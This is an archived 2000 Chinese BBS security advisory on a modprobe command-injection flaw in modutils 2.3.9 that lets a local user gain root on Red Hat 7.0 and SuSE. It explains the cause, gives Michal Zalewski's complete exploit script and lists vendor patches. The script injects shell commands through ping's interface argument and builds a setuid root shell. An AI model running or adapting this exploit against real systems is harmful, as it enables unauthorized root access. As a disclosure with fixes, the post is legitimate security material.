荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: nttiger (平平淡淡才是真。), 信区: Linux
标  题: Linux modprobe 执行任意命令漏洞
发信站: BBS 荔园晨风站 (Tue Dec  5 23:24:15 2000), 转信

受影响的系统:
    GNU Linux modutils 2.3.9
       + S.u.S.E. Linux 7.0
       + S.u.S.E. Linux 6.4
       + RedHat Linux 7.0
不受影响系统:
    GNU Linux modutils 2.3.11

绝大多数Linux系统都带有Modutils,用于可加载内核模块。其中modprobe用于加

与来自命令行的模块名相匹配的模块。Modprobe 2.3.9版(可能还包括前后临近的

些版本)存在一个漏洞,可以用于本地获取root权限。

问题在于为了回显用户输入的程序参数,modprobe调用popen()函数,popen()函数

赖/bin/sh解析命令行并执行"echo",如果用户输入带有某些可利用的shell控制字
符,
就可能导致其它命令被执行。

缺省安装后modprobe本身并未setuid-to-root,但是可以间接通过kmod利用该漏洞

当通过request_module()调用请求加在一个模块的时候,Kmod自动执行modprobe。


RedHat Linux 7.0携带的ping程序具有这种特性。当命令行上指定设备不存在时,

request_module()被调用,指定设备名作为参数传递进入内核。内核用这个参数执

modprobe。此时由于是root做popen()调用,所以很容易获取本地root权限。

<* 来源:Michal Zalewski (lcamtuf@tpi.pl) *>


测试程序:
------------------------------------------------------------------------
------

Michal Zalewski 提供了一个RedHat 7.0下的exploit code:

rh7-modprobe.sh
------------------------------------------------------------------------
--
#!/bin/sh

echo
echo "RedHat 7.0 modutils exploit"
echo "(c) 2000 Michal Zalewski <lcamtuf@ids.pl>"
echo "Bug discovery: Sebastian Krahmer <krahmer@cs.uni-potsdam.de>"
echo
echo "Do not have to work on older / non-RH systems. This bug has
been"
echo "introduced recently. Enjoy :)"
echo
echo "This exploit is really hackish, because slashes are not allowed
in"
echo "modprobe parameters, thus we have to play in modprobe's cwd (/).
"
echo

PING=/bin/ping6
test -u $PING || PING=/bin/ping

if [ ! -u $PING ]; then
  echo "Sorry, no setuid ping."
  exit 0
fi

echo "Phase 1: making / world-writable..."

$PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null

sleep 1

echo "Phase 2: compiling helper application in /..."

cat >/x.c <<_eof_
main() {
  setuid(0); seteuid(0);
  system("chmod 755 /;rm -f /x; rm -f /x.c");
  execl("/bin/bash","bash","-i",0);
}
_eof_

gcc /x.c -o /x
chmod 755 /x

echo "Phase 3: chown+chmod on our helper application..."

$PING -I ';chown 0 x' 195.117.3.59 &>/dev/null
sleep 1
$PING -I ';chmod +s x' 195.117.3.59 &>/dev/null
sleep 1

if [ ! -u /x ]; then
  echo "Apparently, this is not exploitable on this system :("
  exit 1
fi

echo "Voila! Entering rootshell..."

/x

echo "Thank you."


厂商补丁:

1. 升级到GNU Linux modutils 2.3.11,它解决了这个问题
2. Keith Owens <kaos@ocs.com.au> 提供了如下补丁:
   GNU Linux modutils 2.3.9:

Index: 19.7/util/meta_expand.c
--- 19.7/util/meta_expand.c Sun, 10 Sep 2000 12:56:40 +1100 kaos
(modutils-2.3/10_meta_expan 1.4 644)
+++ 19.7(w)/util/meta_expand.c Mon, 13 Nov 2000 21:19:41 +1100 kaos
(modutils-2.3/10_meta_expan 1.4 644)
@@ -156,12 +156,8 @@ static int glob_it(char *pt, GLOB_LIST *
  */
int meta_expand(char *pt, GLOB_LIST *g, char *base_dir, char *version)
{
-    FILE *fin;
-    int len = 0;
-    char *line = NULL;
     char *p;
     char tmpline[PATH_MAX + 1];
-    char tmpcmd[PATH_MAX + 11];

     g->pathc = 0;
     g->pathv = NULL;
@@ -277,38 +273,6 @@ int meta_expand(char *pt, GLOB_LIST *g,
         /* Only "=" remaining, should be module options */
         split_line(g, pt, 0);
         return 0;
-    }
-
-    /*
-     * Last resort: Use "echo"
-     */
-    sprintf(tmpline, "%s%s", (base_dir ? base_dir : ""), pt);
-    sprintf(tmpcmd, "/bin/echo %s", tmpline);
-    if ((fin = popen(tmpcmd, "r")) == NULL) {
-        error("Can't execute: %s", tmpcmd);
-        return -1;
-    }
-    /* else */
-
-    /*
-     * Collect the result
-     */
-    while (fgets(tmpcmd, PATH_MAX, fin) != NULL) {
-        int l = strlen(tmpcmd);
-
-        line = (char *)xrealloc(line, len + l + 1);
-        line[len] = '\0';
-        strcat(line + len, tmpcmd);
-        len += l;
-    }
-    pclose(fin);
-
-    if (line) {
-        /* Ignore result if no expansion occurred */
-        strcat(tmpline, "\n");
-        if (strcmp(tmpline, line))
-            split_line(g, line, 0);
-        free(line);
     }

     return 0;

3. S.u.S.E. 也提供了针对该漏洞的补丁:

   i386 Intel Platform:

    SuSE-7.0
    ftp://ftp.suse.com/pub/suse/i386/update/7.0/a1/modules-2.3.11-73.
i386.rpm

    source rpm:
    ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/modules.spm

    SuSE-6.4
    ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/modules-2.3.9-63.
i386.rpm

    source rpm:
    ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/modules.spm

    Sparc Platform:

    SuSE-7.0
    ftp://ftp.suse.com/pub/suse/sparc/update/7.0/a1/modules-2.3.11-73.
sparc.rpm

    source rpm:
    ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/modules.spm

    AXP Alpha Platform:

    SuSE-6.4
    ftp://ftp.suse.com/pub/suse/axp/update/6.4/a1/modules-2.3.9-63.
alpha.rpm

    source rpm:
    ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/modules.spm

    PPC Power PC Platform:

    SuSE-7.0:
    ftp://ftp.suse.com/pub/suse/ppc/update/7.0/a1/modules-2.3.11-73.
ppc.rpm

    source rpm:
    ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/modules.spm
SuSE-6.4
    ftp://ftp.suse.com/pub/suse/ppc/update/6.4/a1/modules-2.3.9-63.ppc.
rpm

    source rpm:
    ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/modules.spm





--
要软件的自己找啦!
ftp://192.168.0.96

※ 来源:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.0.96]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店